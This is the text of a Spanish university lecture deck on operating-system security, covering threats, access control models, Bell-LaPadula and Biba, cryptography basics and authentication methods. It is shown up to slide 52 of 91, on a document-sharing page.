seguridad so

23
Introducci´ on Entorno de seguridad Seguridad en sistemas operativos Seguridad en Sistemas Operativos Gustavo Romero L´ opez Arquitectura y Tecnolog´ ıa de Computadores 3 de diciembre de 2015 Gustavo Romero L´opez Seguridad en Sistemas Operativos 1 / 91 Introducci´ on Entorno de seguridad Seguridad en sistemas operativos ´ Indice I 1 Introducci´ on 2 Entorno de seguridad Amenazas Atacantes 3 Seguridad en sistemas operativos ¿Podemos construir sistemas seguros? Base inform´ atica de confianza 4 Control de acceso a recursos Dominios de protecci´ on Listas de Control de Acceso Capacidades 5 Modelos formales de seguridad Seguridad multinivel 6 Bases de la criptograf´ ıa Criptograf´ ıa sim´ etrica o de clave secreta Criptograf´ ıa asim´ etrica o de clave p´ ublica Gustavo Romero L´opez Seguridad en Sistemas Operativos 2 / 91 Introducci´ on Entorno de seguridad Seguridad en sistemas operativos ´ Indice II Funciones unidireccionales Firma digital odulo de plataforma de confianza 7 Autenticaci´ on Autenticaci´ on mediante objetos f´ ısicos Autenticaci´ on biom´ etrica 8 Software de explotaci´ on Ataques de desbordamiento de b´ ufer Ataques de cadena de formato Punteros colgados (dangling pointers) Ataques de desreferencia de punteros nulos Ataques de desbordamiento de enteros Ataques inyecci´ on de ´ ordenes Ataques comprobaci´ on/uso (Time of Check to Time of Use Attacks) Gustavo Romero L´opez Seguridad en Sistemas Operativos 3 / 91 Introducci´ on Entorno de seguridad Seguridad en sistemas operativos ´ Indice III 9 Ataques desde dentro 10 Software malicioso Troyanos Virus Gusanos Gustavo Romero L´opez Seguridad en Sistemas Operativos 4 / 91

Upload: john-parra

Post on 15-Apr-2016

217 views

Category:

Documents


0 download

DESCRIPTION

Seguridad en Sistemas Operativos.

TRANSCRIPT

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso

Seguridad en Sistemas Operativos

Gustavo Romero Lopez

Arquitectura y Tecnologıa de Computadores

3 de diciembre de 2015

Gustavo Romero Lopez Seguridad en Sistemas Operativos 1 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso

Indice I

1 Introduccion

2 Entorno de seguridadAmenazasAtacantes

3 Seguridad en sistemas operativos¿Podemos construir sistemas seguros?Base informatica de confianza

4 Control de acceso a recursosDominios de proteccionListas de Control de AccesoCapacidades

5 Modelos formales de seguridadSeguridad multinivel

6 Bases de la criptografıaCriptografıa simetrica o de clave secretaCriptografıa asimetrica o de clave publica

Gustavo Romero Lopez Seguridad en Sistemas Operativos 2 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso

Indice II

Funciones unidireccionalesFirma digitalModulo de plataforma de confianza

7 AutenticacionAutenticacion mediante objetos fısicosAutenticacion biometrica

8 Software de explotacionAtaques de desbordamiento de buferAtaques de cadena de formatoPunteros colgados (dangling pointers)Ataques de desreferencia de punteros nulosAtaques de desbordamiento de enterosAtaques inyeccion de ordenesAtaques comprobacion/uso (Time of Check to Time of UseAttacks)

Gustavo Romero Lopez Seguridad en Sistemas Operativos 3 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso

Indice III

9 Ataques desde dentro

10 Software maliciosoTroyanosVirusGusanos

Gustavo Romero Lopez Seguridad en Sistemas Operativos 4 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso

Introduccion

Gustavo Romero Lopez Seguridad en Sistemas Operativos 5 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso

Definicion

Definicion de seguridad informatica:

Proteccion de la infraestructura computacionaly todo lo relacionado con esta y, especialmente,la informacion contenida o circulante.

Un conjunto de metodos y herramientasdestinados a proteger la informacion y por ende,los sistemas informaticos ante cualquieramenaza.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 6 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso

Evolucion del problema

Grandes cambios a lo largo de lahistoria de la Informatica:

multiusuario → monousuario

balance precio: sistema / usuario

sistemas aislados → conectados

Gustavo Romero Lopez Seguridad en Sistemas Operativos 7 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso

Terminologıa basica

vulnerabilidad: fallo de seguridad.

exploit: metodo para explotar unavulnerabilidad. Puede lanzarse manual oautomaticamente mediante virus o gusanos.

virus: exploit que requiere la interaccion delusuario para propagarse.

gusano: exploit capaz de propagarseautonomamente.

troyano: engano capaz de esconder un exploit.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 8 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAmenazas Atacantes

Entorno de seguridad

Gustavo Romero Lopez Seguridad en Sistemas Operativos 9 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAmenazas Atacantes

Seguridad y proteccion

Seguridad: medida de laconfianza en el sistema y lainformacion que contiene.

Proteccion: mecanismos quesirven para garantizar la seguridad.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 10 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAmenazas Atacantes

Amenazas

CIA: Confidenciality, Integrity and Availability.

Confidencialidad: los datos secretos deben seguirsiendolo.

Integridad: las personas sin autorizacion no deben sercapaces de alterar los datos.

Disponibilidad: nada debe perturbar la usabilidad delsistema.

objetivo amenazaconfidencialidad exposicion de datosintegridad alteracion de datosdisponibilidad denegacion de servicio

En la actualidad cada una se subdividen en varias como, porejemplo, la privacidad.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 11 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAmenazas Atacantes

Ejemplos de amenazas

Ataques:

Analisis de trafico de datos no cifrados por una red.

Alteracion de bases de datos.

Ataques de denegacion de servicio: LOIC, botnets.

Analisis de sistemas para detectar vulnerabilidades: nmap,metasploit.

Explotacion de vulnerabilidades: crimen, guerra (Stuxnet).

Terminologıa:

bot o zombi: ordenador bajo control de un atacante.

botnet: conjunto de ordenadores comprometidos.

portscan: deteccion de servicios en puertos.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 12 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAmenazas Atacantes

Atacantes

Los atacantes pueden ser de muydistintos niveles, desde genteaburrida a gobiernos.

El objetivo del ataque puede sermuy diverso: robo, activismo,vandalismo, terrorismo, guerra,espionaje, spam, extorsion,fraude,...

Gustavo Romero Lopez Seguridad en Sistemas Operativos 13 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso¿Podemos construir sistemas seguros? Base informatica de confianza

Seguridad en sistemas operativos

Gustavo Romero Lopez Seguridad en Sistemas Operativos 14 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso¿Podemos construir sistemas seguros? Base informatica de confianza

Seguridad en sistemas operativos

Metodos para comprometer la seguridad:Sencillos:

Claves demasiado sencillas: PIN “0000”, “1234” o clavestipo “clave”, “password”, “12345”.

Dejar la clave a la vista: clasico postit pegado al monitor.

Descuido con medios de almacenamiento: usb perdido,tirar un ordenador viejo.

Sofisticados:

Ataques Web.

Ataques a bases de datos SQL.

Ataque al sistema operativo: los mas peligrosos.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 15 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso¿Podemos construir sistemas seguros? Base informatica de confianza

Seguridad en sistemas operativos

Tipos de ataques:

Pasivos: robar informacion, capturar informacion de lared,...

Activos: tomar control de un programa para que ejecutecodigo malicioso.

Terminologıa:

criptografıa: alterar informacion para dificultar larecuperacion del original: comunicaciones, claves, ficheros.

endurecimiento (“hardening”): incorporacion demedidas de seguridad: ASLR, NX bit, SELinux.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 16 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso¿Podemos construir sistemas seguros? Base informatica de confianza

¿Podemos construir sistemas seguros?

Dado que leemos sobre ataques es normal preguntarse...

¿Es posible construir sistemas seguros? → siSi lo es, ¿por que no se hace? → no son practicos

¿Es posible construir sistemas seguros?

En teorıa, si.

La dificultad crece exponencialmente con el tamano delsoftware.

Verificacion formal de sistemas.

¿Por que no se hace?

La unica forma de conseguirlo es mantener la simplicidad.

Las caracterısticas son el enemigo de la seguridad.

Ejemplos: email, httpd.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 17 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software malicioso¿Podemos construir sistemas seguros? Base informatica de confianza

Base informatica de confianzaTrusted Computing Base (TCB)

Suele hablarse de sistemas de confianza (“trustedsystems”) en lugar de sistemas seguros.

Todo sistema de confianza se basa en una TCB.

El TCB garantiza el cumplimiento de los requisitos deseguridad.Partes de una TCB:

Hardware: casi todo excepto dispositivos de E/S.Software: sistema operativo, programas privilegiados y otros.

Se intenza minimizar el tamano del TCB para facilitarauditorıa y minimizar el riesgo de fallos.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 18 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades

Control de acceso a recursos

Gustavo Romero Lopez Seguridad en Sistemas Operativos 19 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades

Control de acceso a recursos

¿Que se debe proteger?

¿Que se permite a cada quien?

Gustavo Romero Lopez Seguridad en Sistemas Operativos 20 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades

Dominios de proteccion

Objeto: cada uno de los recursos a proteger.Tipos:

hardware: CPU, memoria, E/S,...software: procesos, ficheros, bases de datos, semaforos,...

Caracterısticas:identificador unico: ej: fichero.conjunto de operaciones: ej: leer/escribir.

Sujetos/Directores (subjects/principals):

Nombre de los usuarios en el campo de laseguridad.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 21 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades

Dominios de proteccion

Dominio: par <objeto, derechos>.

Principe of Least Authority (POLA): mınimoconjunto de recursos y derechos necesarios parapoder funcionar.UNIX: identificadores de usuario y grupo(UID/GID)

Cada par UID/GID da acceso a un dominio de proteccion.Se consigue al acceder desde el fichero password.Cambio de dominio: kernel, setuid()/setgid().

Gustavo Romero Lopez Seguridad en Sistemas Operativos 22 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades

Dominios de proteccion

Implementacion como una tabla: demasiado grande y dispersa.

Dominios como objeto de proteccion:

Gustavo Romero Lopez Seguridad en Sistemas Operativos 23 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades

Dominios de proteccion

Implementacion:

Almacenamiento por filas o columnas.

Guardar solo campos no vacıos.

Tipos:

filas: Listas de Control de Acceso (Access ControlLists - ACL).

columnas: Capacidades (Capabilities).

Gustavo Romero Lopez Seguridad en Sistemas Operativos 24 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades

Listas de Control de Acceso

Gustavo Romero Lopez Seguridad en Sistemas Operativos 25 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades

Capacidades

Una capacidad es una lista de objetos y operacionespermitidas.

Para cada proceso se asocia un lista de capacidades(capability list o c-list).

Gustavo Romero Lopez Seguridad en Sistemas Operativos 26 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoDominios de proteccion Listas de Control de Acceso Capacidades

Capacidades

Proteccion:

Arquitectura etiquetada: asocia una etiqueta a cada palabrade memoria solo accesible en modo nucleo, IBM AS/400.

c-list dentro del SO: Hydra.

c-list en espacio de usuario: proteccion criptografica,Amoeba.

Caracterısticas:

Las capacidades son mas eficientes concediendo permisos.

Las ACLs son mas flexibles y potentes en operaciones sobrecapacidades y listas, especialmente revocaciones.

Ejemplos:

UNIX: ACLs.

L4 y Android: capacidades.

FreeBSD: ACLs y capacidades (Capsicum).

Gustavo Romero Lopez Seguridad en Sistemas Operativos 27 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel

Modelos formales de seguridad

Gustavo Romero Lopez Seguridad en Sistemas Operativos 28 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel

Modelos formales de seguridad

Las matrices de proteccion no son estaticas.

Operaciones primitivas (Harrison, 1976):

crear objeto.borrar objeto.crear dominio.borrar dominio.anadir derecho.eliminar derecho.

Las primitivas se combinan en ordenes de proteccion.

La matriz de proteccion puede dividirse en dos estadosautorizados y no autorizados.

Demostrar si un sistema es seguro es imposible.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 29 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel

Seguridad multinivel

Seguridad basica:Quien puede leer y escribir un fichero.Control de acceso discrecional.Mınimo mecanismo de seguridad implementado por la mayorıade los SO.

Seguridad avanzada:Requerida por militares, empresas, sanidad y gobiernos.Control de acceso obligatorio (Mandatory Access Control -MAC).

Asegura que las polıticas de seguridad se cumplen.Regula el flujo de informacion.

Linux: SELinux.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 30 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel

Modelo Bell-LaPadulaBell and LaPadula, 1973

Seguridad militar.

Objetivo: mantener secretos.

Niveles de seguridad: no clasificado, confidencial, secretoy alto secreto.

Un general puede tener acceso a cualquier tipo dedocumentos y un teniente como maximo a losconfidenciales.Reglas de flujo de informacion:

Propiedad de seguridad simple: un proceso de nivel k solopuede leer documentos de su nivel e inferiores.Propiedad *: un proceso de nivel k solo puede escribirdocumentos de su nivel y superiores.

Resumiendo: read down, write up.

Bueno manteniendo secretos, fatal para la integridad.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 31 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel

Modelo Bell-LaPadulaBell and LaPadula, 1973

Gustavo Romero Lopez Seguridad en Sistemas Operativos 32 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel

Modelo Biba

Seguridad empresarial.

Objetivo: garantizar la integridad de lainformacion.Reglas de flujo de informacion:

Propiedad de integridad simple: un proceso de nivel k solopuede escribir documentos de su nivel e inferiores.Propiedad de integridad *: un proceso de nivel k solo puedeleer documentos de su nivel y superiores.

Algunas organizaciones requieren ambosmodelos a la vez pero es difıcil conseguirlo porperseguir objetivos contrapuestos.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 33 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel

Canales encubiertoscovert channels

Los modelos formales no funcionan.

Detener el goteo de informacion es matematicamenteimposible (Lampson, 1973).Modelo de Lampson:

El problema del confinamiento.Los canales encubiertos.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 34 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel

Canales encubiertoscovert channels

Canales encubiertos:Modulacion del uso de la CPU.Adquisicion y liberacion de un recurso.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 35 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoSeguridad multinivel

Esteganografıa

Otra forma de canal encubierto.

Esconder informacion en un imagen.

Usos lıcitos: marcas de agua.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 36 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza

Bases de la criptografıa

Gustavo Romero Lopez Seguridad en Sistemas Operativos 37 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza

Criptografıa

Criptografıa: del griego “krypto”, oculto, y “graphos”,escritura.

Desempena hoy dıa un papel central en seguridad.

La criptografıa moderna es muy sofisticada.

Usos: sistemas de ficheros, comunicaciones, identificacion,...

Proposito: tomar un mensaje, (mensaje en claro), yconvertirlo en inteligible (mensaje cifrado) de tal forma quesolo las personas autorizadas puedan recuperar el original.

Los algoritmos deben ser publicos frente a la seguridad poroscuridad.

Principio de Kerchoff: la seguridad depende de la clave.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 38 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza

Criptografıa simetrica o de clave secreta

Sustitucion monoalfabetica: fortaleza 27! ≈ 1,09× 1028

abcdefghijklmnnopqrstuvwxyzuthikoavpjqnnxeyzwlmdfgbcrs

Usa la misma clave para cifrar y descifrar.

Ventajas: eficiente.

Inconvenientes: intercambio de claves.

Ejemplos: DES, 3DES, RC5, AES, Blowfish e IDEA.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 39 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza

Criptografıa asimetrica o de clave publica

¿Que operacion es mas difıcil?123456789123456789× 123456789123456789 =⇒ cifrar√

15241578780673678515622620750190521 =⇒ descifrar

Usa dos claves, una para cifrar (publica) y otra paradescifrar (privada).

Ventajas: elimina el problema de la distribucion de claves.

Inconvenientes: miles de veces mas lento que la simetrica.

Ejemplos: Diffie-Hellman, RSA, DSA, ElGamal,Criptografıa de curva elıptica, Criptosistema deMerkle-Hellman, Goldwasser-Micali yGoldwasser-Micali-Rivest.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 40 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza

Funciones unidireccionales

funcion hash: funcion “f (x) = y” facil decalcular pero que dado “y” encontrar “x” seaimposible o extremadamente costoso.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 41 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza

Firma digital

A veces es necesario firmar un documento digitalmente parapoder verificar su autenticidad: ordenes bancarias, IRPF,...

Uso: al recibir un documento se aplica...

funcion hash al documento.clave publica a la firma ←→ ¿Como obtenerla?

Gustavo Romero Lopez Seguridad en Sistemas Operativos 42 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza

Firma digital

Los emisores suelen adjuntar un certificado junto almensaje.

Certificado: nombre y clave publica firmado digitalmente.

Autoridad certificadora (Certification Authority - CA):organizacion responsable del mantenimiento de loscertificados y las claves publica.

Infraestructura de clave publica (Public KeyInfrastructure - PKI): distribuida junto a sistemasoperativos y navegadores.

Ejemplos: MD5 (insegura), SHA-1 (comprometida),SHA-256, SHA-512, Tiger, WHIRPOOL.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 43 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoCriptografıa simetrica o de clave secreta Criptografıa asimetrica o de clave publica Funciones unidireccionales Firma digital Modulo de plataforma de confianza

Modulo de plataforma de confianzaTrusted Platform Module - TPM

La criptografıa necesita claves.

Almacenar las claves de forma segura es esencial.

¿Como hacerlo en sistemas que no son seguros?

TPM: chip con memoria no volatil capaz de almacenarclaves y realizar operaciones de cifrado, descifrado yverificacion de firmas digitales.Tema controvertido: ¿quien controla el TPM?

Microsoft: software pirata, virus, control de la plataforma.Industrial audiovisual: control de la piraterıa.Usuario: mi ordenador, mi SO, mis ficheros, mis normas :)

Gustavo Romero Lopez Seguridad en Sistemas Operativos 44 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica

Autenticacion

Gustavo Romero Lopez Seguridad en Sistemas Operativos 45 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica

Autenticacion

Autenticar: verificar la identidad.

Un ordenador seguro requiere la identificacion de sususuarios.

Los primeros ordenadores no requerıan identificarse.

Los tiempos cambian: acceso fısico −→ acceso remoto.La identificacion se basa en algo que el usuario...

sabe −→ pin, contrasena, patron,...tiene −→ objeto fısico.es −→ huella dactilar, cara, iris,...

El metodo mas utilizado es solicitar una contrasena.

Two Factor Authentication (TFA): identificacionmediante dos metodos.

Es importante proteger la BIOS.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 46 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica

Claves debiles

Ataque de fuerza bruta: probar claves.

Un 86 % de las claves son vulnerables (Morris yThompson, 1979).LinkedIn Hack (2012):

robo de 6.46M clavestop 10: password, 12345, link, 1234, work, god, job, angel, the,ilove.

IOActive (2013): la mayorıa de los usuarios dejala clave por defecto.

Stuxnet: centrifugadoras con clave por defecto.

Recordad: el mundo fısico requiere llamar a laspuertas una por una, el virtual no.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 47 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica

Seguridad de las claves en UNIX

Claves en un fichero protegido en disco.Evolucion del fichero de claves:

claves en claro.claves codificadas.claves codificadas con sal y division de ficheros.

Vulnerable a un ataque de fuerza bruta si unatacante consigue el fichero.

Contramedidas: sal y comprobacion indirecta.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 48 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica

Contrasenas de un solo usoOne Time Password (OTP)

Se aconseja cambiar las claves con frecuencia :)

Las claves de un solo uso son el caso extremo.

Si alguien la descubre no importa porque lasiguiente vez sera otra.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 49 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica

Autenticacion Desafıo-RespuestaChallenge-Response Authentication

El usuario proporciona una larga lista depreguntas y respuestas.

A identificarse se escoge una al azar.

El reto puede variar de dificultad, x2, y con elmomento del dıa.

Muchos tipos: tarjetas inteligentes o no, usb,telefono movil.

La base de datos debe protegerse al igual quelas contrasenas.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 50 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica

Autenticacion mediante objetos fısicos

El segundo metodo mas utilizado es laidentificacion mediante un objeto fısico.

Ejemplo fısico: llave de metal para cerradura.Ejemplo informatico: cajeros automaticos.

Requiere una tarjeta.Solicita un pin.

Tarjetas inteligentes (smart cards): no requierenconexion

No requieren conexion.Informacion protegida criptograficamente.

Probar google-authenticator: OTP + TFA.

Gustavo Romero Lopez Seguridad en Sistemas Operativos 51 / 91

Introduccion Entorno de seguridad Seguridad en sistemas operativos Control de acceso a recursos Modelos formales de seguridad Bases de la criptografıa Autenticacion Software de explotacion Ataques desde dentro Software maliciosoAutenticacion mediante objetos fısicos Autenticacion biometrica

Autenticacion biometrica

Identificacion mediante alguna de las caracterısticas fısicasdel usuarioDos partes: registro e identificacion.

registro: medicion, digitalizacion y almacenamiento.identificacion: proporcionar nombre de usuario.

La caracterıstica elegida debe tener unas propiedadesadecuadas:

facilidad de medicionvariabilidad entre individuosmantenimiento en el tiempo

Ejemplos: huella, voz, longitud de los dedos, iris, cara,firma, forma de teclear, patron infrarrojo,...

Problema: suplantacion de identidad, ej: cara, iris,...

Solucion: guino, flash,...

Gustavo Romero Lopez Seguridad en Sistemas Operativos 52 / 91

